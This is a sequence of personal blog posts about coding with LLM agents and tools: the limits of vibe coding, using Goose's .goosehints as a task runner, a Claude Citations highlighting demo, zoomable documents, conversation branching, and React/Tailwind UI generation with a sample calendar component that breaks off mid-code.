With current agents, I don’t believe all of these problems can be anticipated. I don’t believe you can rule-write your way out of them because you rarely know what the X0,000 line codebase should look like when it’s only X,000 lines. You can write code that remains flexible and is refactorable, but today, you can only rely on yourself to know if the agent has deviated from the rules you wrote. Agents don’t follow instructions consistently enough to be expected to follow them without verification of the code itself.

When I notice an agent isn’t following instructions as I’d hoped, I could evaluate the plan and pull in more context in case the agent missed something. To be able to do a good job of that, I need to know the codebase, at least architecturally. I need to know how state is managed, what libraries are used, how the file hierarchy is organized.

I need to know these things in case the model misses something when generating code, so I can step in and make corrections or at least steer it back in the right direction. If I only find out the model has been doing something like weird state duplication and synchronization after the agent finally stops being able to make progress, it’s going to be painful to get back on track.

The agent cannot be prompted to code itself out of the hole it digs. I’ve tried. I’ve told the model to identify duplication and refactor. I’ve read the code and identified the points of duplication then told the model where and prompted for a refactor. State of the art agents fail.

So where do I go from here? I’ve actually had immense success writing code using agents and models with my hands on the wheel. For production code, this has always been the only viable option. But for personal projects, I now appreciate the ceiling vibe coding places upon them.

I can vibe code a fun game but eventually, I may not be able to add more features due to the unmaintainable sprawl the model eventually creates.

There is a small cost here. I have to be a touch more thoughtful as I build something to ensure the agent is staying on the rails.

In doing so I understand how my project works, learn new things as I collaborate with the agent, and keep the code in a state where it can continue to be extended. I’ll definitely progress more slowly than fully embracing the vibes but I won’t fly off the rails either.

For now, I’m out on pure vibe coding but I’ll still be using models and agents often to help me write code.

Reply on Bluesky

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Goose as a Task Runner

Sat, 01 Mar 2025 02:41:27 GMT

Goose is a CLI language model-based agent. Goose exposes a chat interface and uses tool calling (mostly to invoke shell commands) to accomplish the objective prompted by the user. These tasks can include everything from writing code to running tests to converting a folder full of mov files to mp4s. Most things you can do with your computer, Goose can do with your computer.

Goose runs most commands by default. Some other tools call this “YOLO mode”. If this approach concerns you, you may want to prompt Goose to let you know before it runs commands (this approach does not substitute for running the tool in an isolated/containerized environment). You ultimately never know what an LLM-based tool will actually run when given access to your system.

Goose hints

When you start Goose, it will check for a .goosehints file in the current directory (docs). If it finds one, it will use the hints in that file to guide its behavior. The instructions will be appended to the system prompt that Goose is provided.

Here’s an example file:

Always speak like a pirate.

Now, when can start Goose and say “hi”, it will read the file and respond to my prompt.

❯ goose s
starting session | provider: anthropic model: claude-3-7-sonnet-latest
    logging to /Users/danielcorin/.local/share/goose/sessions/Kt3w4dIH.jsonl

Goose is running! Enter your instructions, or try asking what goose can do.

( O)> hey
# Ahoy there, matey!

'Tis a fine day to be sailin' the digital seas! I be Goo
se, yer AI assistant, ready to help ye with whatever tas
k ye need.

What can I be doin' for ye today? Be it code to write, f
iles to edit, or commands to run on yer macOS vessel, I
be at yer service!

Just give me a headin', and we'll set sail together on t
his technological adventure.

If ye need to know what commands be at yer disposal, ye
can use:
- `/help` or `/?` to see available slash commands
- `/exit` or `/quit` to end our voyage
- `/t` to toggle between Light/Dark/Ansi themes

What say ye, captain? What course shall we chart?

Goose as a task runner

Because a .goosehints file can contain any natural language instructions, we can also use it to define useful tasks that might benefit from a language model-based agent execution flow, like idea generation, summarization, or structured data extraction.

Here’s an example of a .goosehints file that uses Goose to generate summaries of content from my blog. It provides the description of a hypothetical summary command and a few hypothetical options for creating summaries across my post types and over different time periods. It also prompts for citations from the original content from which the summaries are derived.

I’m emphasizing the hypothetical part because we’re not actually going to implement this /summary command with code. We’re going to have Goose use this specification as instructions which it will carry out, allowing the language model to run commands to do it.

Here’s the file:

This repository is a the Hugo blog for my personal website, danielcorin.com.
It's Github repository is available at https://github.com/danielcorin/blog.

The `Makefile` contains useful commands for managing the blog.

You should also support the following commands:

## `/summary`

This command summarizes the posts for a given type and period.

For example,

```
/summary logs 2020-02
```

This will summarize all the posts in the `logs` folder for the month of February 2020.

```
/summary all -3m
```

This will summarize all posts of all types in the last 3 months, including `posts`, `til`, `logs`, `projects` and `garden`.
This command also supports weeks and years:

```
/summary all -3w
/summary all -1y
```

The outputted summary should contain Hugo links to the posts from which the summary is derived.
Then can be provided inline.
For example,

```md
... [2025-02-28](logs/2025/02/28) ...
```

or

```md
I [learned more about Astro](til/astro/intro) and build a new website ...
```

No need to reference the dates directly.
Weave the links into the prose of the summary.

The summary will be outputted in `content/summary/<type>/<period>.md`.

Now, I can run Goose and generate a summary of my logs posts in February 2025 like this:

goose s
( O)> /summary logs 2025-02

Goose first reads the .goosehints file and then plans and executes a series of shell commands to find the appropriate files, load them into context, generate the summary, and write it to a file in the location and with the naming convention specified.

After running the command above, Goose wrote a file out to content/summary/logs/2025-02.md with a pretty reasonable summary.

That’s a lot of tokens

While the above command works well in my experience, it can use a lot more tokens than is really necessary as Goose navigates the filesystem, builds a context window, generates the summary, and writes it to a file. Most of these steps don’t need to be executed by Goose. We can write a deterministic script that builds the context from the types of posts and window of time we specify, then just prompt an LLM to summarize.

I had the LLM write a script for this. Compared to the ~50 lines in my sparse .goosehints file, the script is almost 300 lines of Python.

This is obviously not an apples-to-apples comparison. The script is deterministic (except for the LLM summary), far more efficient, and less prone to random failures of the LLM agent. However, the .goosehints file is more flexible, easier to understand, and easier to read.

I believe there is room and value in both approaches.

Language vs Code

The ability to write a quick instruction set and have an agent execute it in steps is powerful and distinctly its own thing compared to what long-time engineers are used to. Once an idea has been translated into code, edges need to be dealt with, compilers and interpreters satisfied. Code necessarily imposes limiting constraints on the developer. We want and need our programs to be correct. To accomplish this, we need to handle failure modes and edge cases.

Natural language is more flexible and squishy compared to code. There is more room for interpretation at inference time. Any validation (like does the program compile/run) is done at runtime. Natural language allows for faster iteration but, in practice, can produce unpredictable results.

While (orders of magnitude more) inefficient compared to the typical way you’d perform this task, I was still impressed with the results of the /summary command from my .goosehints file. The execution became an implementation detail dealt with by the model once the spec was written. The prose and documentation are clearer than the Python and shell equivalents I wrote, especially for a non-technical reader. It’s also trivial to extend - I just write the document of the new feature and Goose and the model do the rest.

Goose and other LLM-based tools make it easy and fast to extend a script version of the summary command, but the way you do that is by writing the spec or description of what you want. This is all you do when creating a “command” in a .goosehints file.

You could argue that natural language instructions, executed by an agent, are like an interpreted language whereas an already-written script is closer to a compiled language because the language tools and runtime impose constraints and invariants on the behavior of the program. It’s possible to reason about what the behavior of the latter will be at runtime, but the former can still be useful.

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Developing a Mental Model for using Models

Fri, 14 Feb 2025 17:29:28 GMT

I had an interesting realization today while doing a demo building a web app with Cursor. I was debugging an issue with an MCP server, trying to connect it to Cursor’s MCP integration. The code I was using was buggy, and I’d never tried this before (attempting it live was probably a fool’s errand to begin with).

When I ran into issues, someone watching asked, “Why don’t you just ask the Cursor chat what’s wrong?” This didn’t occur to me because I instinctively figured that Cursor chat (and Claude, the model powering it) wouldn’t know what was happening.

This experience crystallized something important for me: when using AI products and models, we develop mental models of what these systems have available to them about the state of our computing environment and the world.

Raw Models vs. Product-Integrated Models

Take gpt-4o as a “raw” model that you use via an API or OpenAI’s Playground. It has:

Its training data and the way OpenAI used that data to train weights in the model’s architecture
The prompts you send as context
The model’s own responses (in the case of a multi-turn conversation)
That’s it (as far as I know)

However, when you use AI products (like Perplexity, ChatGPT with search, or claude.ai), you’re working with:

The base chat model
System prompts and instructions
Additional context (today’s date, internet search results, search results from private knowledge bases or datastores)
A wide variety of non-standardized, product-specific features

This distinction matters because ChatGPT with search can give you real-time answers about the world, while a raw model like gpt-4o only “knows” what is in its training data.

Why This Matters

This distinction of what a model knows isn’t obvious to many people using model-based products, especially those less familiar with how the models work. Having your own mental model of what the language model has available to it is foundational to getting good at using these tools. It helps you:

Discern what is within the model’s or product’s capabilities
Develop intuition for how to use these tools effectively
Know when a tool might be able to give you the right answer compared to when it lacks the context to do so (e.g. Claude doesn’t know which team won the Super Bowl in 2025, Perplexity does)

This intuition is a soft skill and the ground is constantly shifting as these products are augmenting their capabilities. Scaling this learning curve is what matters right now when it comes to augmenting your skills with AI.

A Real-World Example

In my case with Cursor, I intuitively suspected (though wasn’t 100% certain) that the Cursor Composer agent wouldn’t know how the IDE was trying to make that MCP call to the local server I had running.

I didn’t explicitly think this through - it was just intuition developed through experience. When I went to check if Cursor knew about the MCP settings, briefly, a part of me then suspected that it actually might and that I’d been wrong in my assumption.

This is where being “up to date” on the capabilities of these tools matters. The challenge here is this a moving target and not realistic for people not spending tens of hours per week using “AI tools”. I barely can keep up and I’m working with this stuff everyday.

It turns out Cursor can’t check or modify its own configuration (yet), but this is realistically something that could be incorporated into the product in the near future. In fact, it seems likely it will be.

The Challenge

The importance of understanding what different language-model-based products have available in their context window may not be obvious, but it’s crucial for developing an intuition about when and how these tools can be effectively applied.

This is the first step to building your intuition for picking the right tools for your task.

Making headway

When experimenting with a new tool or product, kick the tires. Ask the model about things that happened recently. Ask the model about itself. Sometimes models will make things up, but once you start poking around, you begin the process of developing this critical intuition for getting the most of these tools - developing your mental model for using models.

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Document Citations

Sun, 02 Feb 2025 03:39:49 GMT

The following is an implementation of document Q&A with citations using Anthropic’s press release for Claude Citations, a feature meant to reduce LLM hallucinations and provide clarity for which part of the source text the model is using to produce answers to questions. The content below the next page break is from Anthropic (the source document in our example). Below are example questions that can be asked about the document. When provided with the document as context, an LLM can generate answers to these questions.

Try it out

Select a question to view the model-generated answer using the source document. Doing so will also highlight the areas of the document that Claude returned as citations, justifying the answer. If you scroll to the bottom of an answer, you can also find links to the cited passages.

Introducing Citations on the Anthropic API

Today, we’re launching Citations, a new API feature that lets Claude ground its answers in source documents. Claude can now provide detailed references to the exact sentences and passages it uses to generate responses, leading to more verifiable, trustworthy outputs.

Citations is generally available on the Anthropic API and Google Cloud’s Vertex AI.

Trust by verification

All Claude models are trained to be trustworthy and steerable by design. Citations builds upon this foundation, addressing a specific need in AI applications: verifying the sources behind AI-generated responses.

Previously, developers relied on complex prompts that instruct Claude to include source information, often resulting in inconsistent performance and significant time investment in prompt engineering and testing. With Citations, users can now add source documents to the context window, and when querying the model, Claude automatically cites claims in its output that are inferred from those sources.

Our internal evaluations show that Claude’s built-in citation capabilities outperform most custom implementations, increasing recall accuracy by up to 15%.1

Use cases

With Citations, developers can create AI solutions that offer enhanced accountability across use cases like:

Document summarization: Generate concise summaries of long documents, like case files, with each key point linked back to its original source.
Complex Q&A: Provide detailed answers to user queries across a large corpus of documents, like financial statements, with each response element traced back to specific sections of relevant texts.
Customer support: Create support systems that can answer complex queries by referencing multiple product manuals, FAQs, and support tickets, always citing the exact source of information.

How it works

When Citations is enabled, the API processes user-provided source documents (PDF documents and plain text files) by chunking them into sentences. These chunked sentences, along with user-provided context, are then passed to the model with the user’s query. Alternatively, users can provide their own chunks for the source documents.

Claude analyzes the query and generates a response that includes precise citations based on the provided chunks and context for any claims derived from the source material. Cited text will reference source documents to minimize hallucinations.

This approach offers superior flexibility and ease of use, as it doesn’t require file storage and seamlessly integrates with the Messages API.

Pricing

Citations uses our standard token-based pricing model. While it may use additional input tokens to process documents, users will not pay for output tokens that return the quoted text itself.

Customer spotlight: Thomson Reuters

Thomson Reuters uses Claude to power their AI platform, CoCounsel, helping legal and tax professionals synthesize expert knowledge and deliver comprehensive advice to clients.

“For CoCounsel to be trustworthy and immediately useful for practicing attorneys, it needs to cite its work. We first built this ourselves, but it was really hard to build and maintain. That’s why we were excited to test out Anthropic’s Citations functionality. It makes citing and linking to primary sources much easier to build, maintain, and deploy to our users. This capability not only helps minimize hallucination risk but also strengthens trust in AI-generated content. The Citations feature will enable us to build an even more accurate and thorough AI assistant for lawyers,” said Jake Heller, Head of Product, CoCounsel, Thomson Reuters.

Customer Spotlight: Endex

Endex uses Claude to power an Autonomous Agent for financial firms.

“With Anthropic’s Citations, we reduced source hallucinations and formatting issues from 10% to 0% and saw a 20% increase in references per response. This removed the need for elaborate prompt engineering around references and improved our accuracy when conducting complex, multi-stage financial research,” said Tarun Amasa, CEO, Endex.

Get started

Citations is now available for the new Claude 3.5 Sonnet and Claude 3.5 Haiku. To start using Citations, explore our documentation.

Claude Citations outputs the exact passage from the cited document as well as start and end indices referencing the slices of the original document (as a string) that contain the citations.

We unpack the inference response from Claude into a data structure for this post like this:

{
  "question": "Which Claude models support Citations?",
  "answer": "According to the documents, Citations is available for Claude 3.5 Sonnet and Claude 3.5 Haiku. The feature is generally available on both the Anthropic API and Google Cloud's Vertex AI.",
  "citations": [
    {
      "text": "## Get started\n\nCitations is now available for the new Claude 3.5 Sonnet and Claude 3.5 Haiku.",
      "start_index": 4114,
      "end_index": 4209,
      "document": "Citations on the Anthropic API"
    },
    {
      "text": "Citations is generally available on the Anthropic API and Google Cloud\u2019s Vertex AI.",
      "start_index": 315,
      "end_index": 400,
      "document": "Citations on the Anthropic API"
    }
  ]
}

To make the above UX work as rendered HTML, we need to first add HTML markup to the raw markdown string before rendering, since the cited passages and document indices would no longer match the content after rendering the markdown as HTML. To add the highlighting, we iterate through the citations from end to beginning to avoid interfering with the citation start and end indices. Within each citation, we break the content up by line and wrap each line with <mark> tags, with special case handling for markdown elements like headings and lists. Finally, we render that HTML/markdown mix as HTML, resulting in the highlighted document upon selecting a question.

Challenges

Finding a way to add the highlights to the document was the biggest challenge because we must do so before the markdown is rendered as HTML (the citations are in markdown) but we also needed to avoid interfering with the markdown to HTML renderer so that the HTML markup would be added correctly. For example, a common problem I ran into was correct highlighting but content that was sent to the DOM as

## Get started

rather than

<h2>Get started</h2>

This issue was due to a difference of the preprocessor outputting

<mark class="citation-highlight"> ## Get started </mark>

instead of

## <mark class="citation-highlight"> Get started </mark>

Future work

With a similar approach, we could add a chat to a document and call the Citations API in real-time with whatever question a user inputs, displaying both the response and the highlighted citations from the source document. This pattern is an inversion of approaches like RAG, which put the Q&A front and center rather than the source document. In cases of knowledge aggregation this may be preferred, but when focusing on a single text, it’s easy to become disconnected from the source material. Keeping the source content front and center helps maintain better grounding in the original text while still getting the benefits from the power of LLM summarization.

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Zoomable Document

Thu, 23 Jan 2025 01:50:48 GMT

Credit

I can’t actually remember if I got inspiration for this idea from Amelia’s presentation, but watching that again recently, it seems likely so I am crediting her for it here.

The Spark

I’m trying something unusual with this post. I think it’s going to be a lot of fun. I was listening to Nabeel Hyatt and Dan Shipper’s conversation, where they mentioned code has become content. This resonated with me because I’ve lately found, specifically with the projects on this site, that writing and building have started to go hand in hand for me. The prose I write to describe my ideas often becomes the prompts I use to build them and vice versa.

Powerful models and their code generating abilities are incredible synthesizers for ideas. Prior to having a LLM at hand to write most of the code, I wouldn’t have the energy to prototype or attempt building many of them. Most didn’t feel worth the effort or I’d get stuck or frustrated and move on. With that context, I’m going to (attempt to) build this interactive post by writing the post.

Starting from Scratch

As I write now, I have Cursor open and I am writing in a file at src/content/notes/2025/document-?/index.mdx in my Astro project. The folder and post are currently called document-? because I don’t really know what this concept is yet, but I needed to start somewhere. Maybe it’s called something else when you’re reading it. My site has interactive Astro and React components at src/components. I can include these components in my .mdx content which has been a really enjoyable way to play around with ideas.

Understanding Content Structure

For this post, we are building an experience that allows the reader to interact with the content of a post at multiple levels of detail and specificity. Most content has at most just a few levels of content. The first are headings. These include things like titles and section headers often denoted by # tags in markdown. These titles and headers can be summarized into a table of contents to give the reader an overview of what’s in an article or the ability to jump around or permalink to certain parts. A second level of content is the linear prose or the body of the work. This is a bit of a kitchen sink category, including prose, lists, code, images and everything that composes most of the written work. Finally, a third level of content includes things like asides, footnotes and citations that appear next to or after the main prose. Sometimes these are off to the side of content or aggregated all together at the end.

With LLMs, we can create summaries that provide at-a-glance skimmability and arbitrary levels of specificity. Imagine zooming in and out of a document like you do when using an app like Google Maps. If you navigate to New York City and zoom into a particular neighborhood, you can see the roads and the locations of the buildings. This zoomed in view is like reading the original prose of a blog post. At this level of zoom, you are limited in how much you can see. Your browser, phone or field of view is only so large. You can’t look at every road in the city at the same time. Zoom out further and we can see the boroughs or even other states, but then we’d see very few roads. There’s simply too much detail to show when zoomed out at this level. Prose is like this as well but most “maps” of prose are relatively static. In practice, we actually spend relatively limited effort making our prose accessible at different levels of zoom. What would that even look like?

Like a map, we may want to zoom out and view an entire piece of written text from a high level, understanding its broad features. Today, the closest thing to something like this is a table of contents. In the best case, the author has thoughtfully titled their chapters in a way that actually gives us something akin to a high level overview.

Another area that can help is a glossary. With the right vocabulary, we can locate references to specific items of interests. Unfortunately, most glossaries are limited beyond close to perfect string matches. They include things like technical terms, acronyms, and specialized vocabulary. But they don’t allow us to find where certain concepts are mentioned or where certain motifs occur, at least not flexibly. Glossaries rely on the foresight of the author to anticipate how a reader might want to navigate the prose.

Digital documents contain many improvements. We can “find” any word or phrase across an arbitrarily large document. But it’s still fuzzy how you might find all the places in a written work where a character displays “kindness”, for example. In a literary work, the author doesn’t come out and say when a character is kind. They show the character’s kindness through their actions. We can’t just run “find” on the word “kind”. We’ll miss a lot.

Building the Zoomable Document

Let’s return to what a zoomable document looks like. We have our street level view. That is the unmodified document. We see all the words, images, code, asides, footnotes, everything. The raw, unedited text as the author created it.

Let’s zoom out. Now we’re seeing neighborhoods. Each neighborhood represents a chunk of content that’s roughly smaller than a major heading but larger than individual paragraphs.

Markdown supports 6 heading levels. Not everyone uses all 6 levels but some people do. So when we zoom out, we’re zooming out relative to the levels of content the author has provided, but we can’t necessarily rely on these “cliff notes”. In fact, we have to assume the content won’t already contain a “roadmap” for the reader. That is the utility of what we aim to provide with our “zoomable document”.

Technical Implementation

How can we construct this zoomable document? We’ll first need to take a look at the raw content that exists at the street level. From here, we will need to compute summaries for each different level of zoom. When we zoom out, content at the previous level fades away and content at the next level fades into view. As we zoom further and further out, the content is condensed into summaries that capture the essence of the lower levels, giving the reader the ability to quickly scan through these summaries, then zoom into areas of interest, like a dynamic map.

I store zoom levels as separate markdown files in the same directory as the post. This keeps the main post file clean and makes it easier to manage different zoom levels independently. The files are imported directly into the MDX file using Vite’s ?raw suffix, which imports the markdown content as strings.

The file structure looks like this:

src/content/posts/2025/zoomable-document/
├── index.mdx          # Main post file
├── _level_2.md        # Level 2 zoom content
├── _level_3.md        # Level 3 zoom content
├── _level_4.md        # Level 4 zoom content
└── _level_5.md        # Level 5 zoom content

The content is passed to the React component using this schema:

interface ContentLevel {
  level: number;
  content: string;
}

interface ZoomableDocumentProps {
  children: ReactNode;
  levels: ContentLevel[];
}

To generate content for those levels, with this (or any) document as context, I use the following prompt

User

Using markdown (including headers, list and code if useful) given the content at Level 1, write Levels 2-5, maintaining the author’s voice and provide increasingly general levels of specificity as the levels increase. Don’t just summarize. Provide some of the same details as the original text at the lower levels. Do more summarizing at the higher levels. Use your best judgment to determine which details are relevant at each level. Remember, lower levels are like street and neighborhood views on Google Maps where you can see roads and buildings. Higher levels are like county, state and even country views where we get more of the general geography of a space but see fewer details.

The results have been both interesting and challenging to achieve. I created the first version of the ZoomableDocument React component by using an early version of this prose as the prompt and giving an LLM instructions to “build that”. From there, I continued writing more in prompts and here to explain what approaches were working well and refined the prose further. The above prompt allows me to easily use an LLM to regenerate the higher level summaries whenever I make edits to this Level 1 version.

To create a zoomable document:

Write markdown content normally in the .mdx file
Generate zoom levels using a language model with the raw post as context using the prompt above
Save each zoom level as a separate markdown file in the same directory
Import the zoom levels to the MDX file:

import Level2Content from './_level_2.md?raw';
import Level3Content from './_level_3.md?raw';
import Level4Content from './_level_4.md?raw';
import Level5Content from './_level_5.md?raw';

export const zoomLevels = [
  { level: 2, content: Level2Content },
  { level: 3, content: Level3Content },
  { level: 4, content: Level4Content },
  { level: 5, content: Level5Content },
];

Wrap your content in the ZoomableDocument component with the levels prop

<ZoomableDocument client:load levels={zoomLevels}>
  {children}
</ZoomableDocument>

In the future, I could find a way to automatically load the levels and wrap the content in the ZoomableDocument component.

Future work

Given the recent release of Claude Citations, I’ll probably revisit this concept introducing explicit linkages between the summarized content and the source text.

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LLM Conversation Branching

Fri, 17 Jan 2025 02:08:37 GMT

tip

The interactive visuals in the post don’t play so nice on small devices. You can still enjoy on your phone but be sure to check them out later on a bigger screen.

I wrote about Conversation Branching on my main blog and I’ve been prototyping an LLM chat app called Delta that has first-class conversation branching. LLM conversations typically follow a linear path, making it unintuitive to explore alternative directions or recover from miscommunications. This post is an interactive introduction to conversation branching but also an exploration into additional UX patterns that using a canvas can enable.

Here are the basic primitives of conversation branching. Click any node on the left. The conversation on the right updates to show the prompts and responses (since we’re modeling an LLM conversation).

What is machine learning?

Machine learning is a branch of AI that enables systems to learn from data

The motivation behind conversation branching is multifold

Keep the context clean

Language models can be sensitive to typos or ambiguous phrases that send the conversation in the wrong direction. Often, if you notice the model is misunderstanding you, it’s more effective to delete the previous conversation turn or update your message. ChatGPT actually provides subtle support for branching with the message “edit” feature.

Explore parallel threads, maintaining conversation history

While editing message and implicit branching helps keep the context clean, making branches visible and navigable adds additional depth. We now can explore multiple lines of thinking from a shared starting premise, while maintaining the integrity of the context, keeping the LLM focused on the thing you care about, in each of the branches.

We’re now exploring multiple lines of thought branching off of the original question “What is machine learning?”. As above, we could navigate any of these branches individually and linearly by clicking on a node, and branch off any node with a new message. However, the canvas has a ton of content, making it difficult to navigate or get an at-a-glance sense of what each node contains.

LLMs can help us here. We can summarize each node based on the prompt and response, then show summaries when zoomed out to make the content more digestible at a high level.

Try zooming in and out on either of the last two visualizations to see how the content adapts based on zoom level.

Semantic clustering and exploration

With concise summaries, we can now add a new perspective to these conversations. If we generate embeddings of the summaries, which gives us a list of floats for each summary, we can then apply Principal Component Analysis to reduce the many dimensions down to just two. Finally, we use those two floats as coordinates to position each of the conversation nodes, clustering them by their semantic similarity.

Here are the results:

By my assessment, there are three main categories

ML and programming languages/development (bottom left)
ML and medicine/society (top left)
PyTorch (top right)

Equidistant from the three clusters is the more generic, start message.

I always find it interesting to explore latent space like this. Doing so with a conversation is a bit like blazing a trail and identifying new terrain, seeing where similar pieces fit together and finding unexplored areas in the negative spaces.

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The Unreasonable Effectiveness of Generating UI with React and Tailwind

Mon, 06 Jan 2025 00:54:48 GMT

If you’ve experimented with Claude Artifacts or v0.dev, maybe you’ve been delighted (as I have) that the language model can conjure a UI for an idea you describe. Most of my experience building software, especially professionally, comes from working on the “backend”. Building frontend (read: user interfaces in a browser) is harder for me (or doesn’t come as easily), because while I have experience writing software, I don’t have as much experience writing this type of software.

The “Magic” Stack

When generating UI, one specific stack has proven to be both popular and effective relative to the technologies I have tried. That stack is React and Tailwind.

Both Claude Artifacts and v0 use these technologies by default and there is a reason why. For the language model, co-locating the component styling with the structural markup is highly effective and steerable by prompting.

Comparing Different Approaches

Given the following prompt, here’s what claude-3-5-sonnet-20241022 generates in Cursor (the components below are real, working React code - try them out!).

note

I made a few minor adjustments post-generation to the components to ensure they render nicely on small screens

User

use react, tailwind and lucide-react to create an interface for a bullet-journal inspired calendar

Bullet Journal

165 collapsed lines
import {
  Calendar as CalendarIcon,
  CheckCircle2,
  Circle,
  Square,
  XCircle,
} from 'lucide-react';
import { useState } from 'react';

type Task = {
  id: string;
  text: string;
  status: 'todo' | 'done' | 'migrated' | 'cancelled';
};

type DayEntry = {
  date: Date;
  tasks: Task[];
};

export default function Calendar() {
  const [entries, setEntries] = useState<DayEntry[]>([]);
  const [selectedDate, setSelectedDate] = useState<Date>(new Date());
  const [newTask, setNewTask] = useState('');

  const addTask = () => {
    if (!newTask.trim()) return;

    setEntries((prev) => {
      const existingEntry = prev.find(
        (entry) => entry.date.toDateString() === selectedDate.toDateString()
      );

      if (existingEntry) {
        return prev.map((entry) =>
          entry.date.toDateString() === selectedDate.toDateString()
            ? {
                ...entry,
                tasks: [
                  ...entry.tasks,
                  {
                    id: crypto.randomUUID(),
                    text: newTask,
                    status: 'todo',
                  },
                ],
              }
            : entry
        );
      }

      return [
        ...prev,
        {
          date: selectedDate,
          tasks: [
            {
              id: crypto.randomUUID(),
              text: newTask,
              status: 'todo',
            },
          ],
        },
      ];
    });

    setNewTask('');
  };

  const updateTaskStatus = (taskId: string, status: Task['status']) => {
    setEntries((prev) =>
      prev.map((entry) => ({
        ...entry,
        tasks: entry.tasks.map((task) =>
          task.id === taskId ? { ...task, status } : task
        ),
      }))
    );
  };

  const getStatusIcon = (status: Task['status']) => {
    switch (status) {
      case 'todo':
        return <Circle className="w-4 h-4 sm:w-5 sm:h-5 text-gray-600" />;
      case 'done':
        return (
          <CheckCircle2 className="w-4 h-4 sm:w-5 sm:h-5 text-green-600" />
        );
      case 'migrated':
        return <Square className="w-4 h-4 sm:w-5 sm:h-5 text-blue-600" />;
      case 'cancelled':
        return <XCircle className="w-4 h-4 sm:w-5 sm:h-5 text-red-600" />;
    }
  };

  const currentEntry = entries.find(
    (entry) => entry.date.toDateString() === selectedDate.toDateString()
  );

  return (
    <div className="w-full max-w-2xl mx-auto p-4 sm:p-8 bg-white rounded-lg shadow-md">
      <div className="flex items-center gap-2 sm:gap-4 mb-4 sm:mb-8">
        <CalendarIcon className="w-5 h-5 sm:w-6 sm:h-6 text-gray-600" />
        <h1 className="text-xl sm:text-2xl font-semibold text-gray-600">
          Bullet Journal
        </h1>
      </div>

      <div className="mb-4 sm:mb-8">
        <input
          type="date"
          value={selectedDate.toISOString().split('T')[0]}
          onChange={(e) => setSelectedDate(new Date(e.target.value))}
          className="w-full px-3 sm:px-4 py-2 text-sm sm:text-base border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500"
        />
      </div>

      <div className="flex flex-col sm:flex-row gap-2 sm:gap-4 mb-4 sm:mb-8">
        <input
          type="text"
          value={newTask}
          onChange={(e) => setNewTask(e.target.value)}
          placeholder="Add new task..."
          onKeyDown={(e) => e.key === 'Enter' && addTask()}
          className="flex-1 px-3 sm:px-4 py-2 text-sm sm:text-base border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500"
        />
        <button
          onClick={addTask}
          className="px-3 sm:px-4 py-2 text-sm sm:text-base bg-blue-600 text-white rounded-md hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-blue-500"
        >
          Add
        </button>
      </div>

      <div className="space-y-2">
        {currentEntry?.tasks.map((task) => (
          <div
            key={task.id}
            className="flex items-center gap-2 p-2 border border-gray-200 rounded-md"
          >
            <button
              onClick={() => {
                const nextStatus: Record<Task['status'], Task['status']> = {
                  todo: 'done',
                  done: 'migrated',
                  migrated: 'cancelled',
                  cancelled: 'todo',
                };
                updateTaskStatus(task.id, nextStatus[task.status]);
              }}
              className="focus:outline-none"
            >
              {getStatusIcon(task.status)}
            </button>
            <span
              className={`text-sm sm:text-base ${task.status === 'done' ? 'line-through text-gray-500' : ''}`}
            >
              {task.text}
            </span>
          </div>
        ))}
      </div>
    </div>
  );
}

165 collapsed lines
import {
  Calendar as CalendarIcon,
  CheckCircle2,
  Circle,
  Square,
  XCircle,
} from 'lucide-react';
import { useState } from 'react';

type Task = {
  id: string;
  text: string;
  status: 'todo' | 'done' | 'migrated' | 'cancelled';
};

type DayEntry = {
  date: Date;
  tasks: Task[];
};

export default function Calendar() {
  const [entries, setEntries] = useState<DayEntry[]>([]);
  const [selectedDate, setSelectedDate] = useState<Date>(new Date());
  const [newTask, setNewTask] = useState('');

  const addTask = () => {
    if (!newTask.trim()) return;

    setEntries((prev) => {
      const existingEntry = prev.find(
        (entry) => entry.date.toDateString() === selectedDate.toDateString()
      );

      if (existingEntry) {
        return prev.map((entry) =>
          entry.date.toDateString() === selectedDate.toDateString()
            ? {
                ...entry,
                tasks: [
                  ...entry.tasks,
                  {
                    id: crypto.randomUUID(),
                    text: newTask,
                    status: 'todo',
                  },
                ],
              }
            : entry
        );
      }

      return [
        ...prev,
        {
          date: selectedDate,
          tasks: [
            {
              id: crypto.randomUUID(),
              text: newTask,
              status: 'todo',
            },
          ],
        },
      ];
    });

    setNewTask('');
  };

  const updateTaskStatus = (taskId: string, status: Task['status']) => {
    setEntries((prev) =>
      prev.map((entry) => ({
        ...entry,
        tasks: entry.tasks.map((task) =>
          task.id === taskId ? { ...task, status } : task
        ),
      }))
    );
  };

  const getStatusIcon = (status: Task['status']) => {
    switch (status) {
      case 'todo':
        return <Circle className="w-4 h-4 sm:w-5 sm:h-5 text-gray-600" />;
      case 'done':
        return (
          <CheckCircle2 className="w-4 h-4 sm:w-5 sm:h-5 text-green-600" />
        );
      case 'migrated':
        return <Square className="w-4 h-4 sm:w-5 sm:h-5 text-blue-600" />;
      case 'cancelled':
        return <XCircle className="w-4 h-4 sm:w-5 sm:h-5 text-red-600" />;
    }
  };

  const currentEntry = entries.find(
    (entry) => entry.date.toDateString() === selectedDate.toDateString()
  );

  return (
    <div className="w-full max-w-2xl mx-auto p-4 sm:p-8 bg-white rounded-lg shadow-md">
      <div className="flex items-center gap-2 sm:gap-4 mb-4 sm:mb-8">
        <CalendarIcon className="w-5 h-5 sm:w-6 sm:h-6 text-gray-600" />
        <h1 className="text-xl sm:text-2xl font-semibold text-gray-600">
          Bullet Journal
        </h1>
      </div>

      <div className="mb-4 sm:mb-8">
        <input
          type="date"
          value={selectedDate.toISOString().split('T')[0]}
          onChange={(e) => setSelectedDate(new Date(e.target.value))}
          className="w-full px-3 sm:px-4 py-2 text-sm sm:text-base border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500"
        />
      </div>

      <div className="flex flex-col sm:flex-row gap-2 sm:gap-4 mb-4 sm:mb-8">
        <input
          type="text"
          value={newTask}
          onChange={(e) => setNewTask(e.target.value)}
          placeholder="Add new task..."
          onKeyDown={(e) => e.key === 'Enter' && addTask()}
          className="flex-1 px-3 sm:px-4 py-2 text-sm sm:text-base border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500"
        />
        <button
          onClick={addTask}
          className="px-3 sm:px-4 py-2 text-sm sm:text-base bg-blue-600 text-white rounded-md hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-blue-500"
        >
          Add
        </button>
      </div>

      <div className="space-y-2">
        {currentEntry?.tasks.map((task) => (
          <div
            key={task.id}
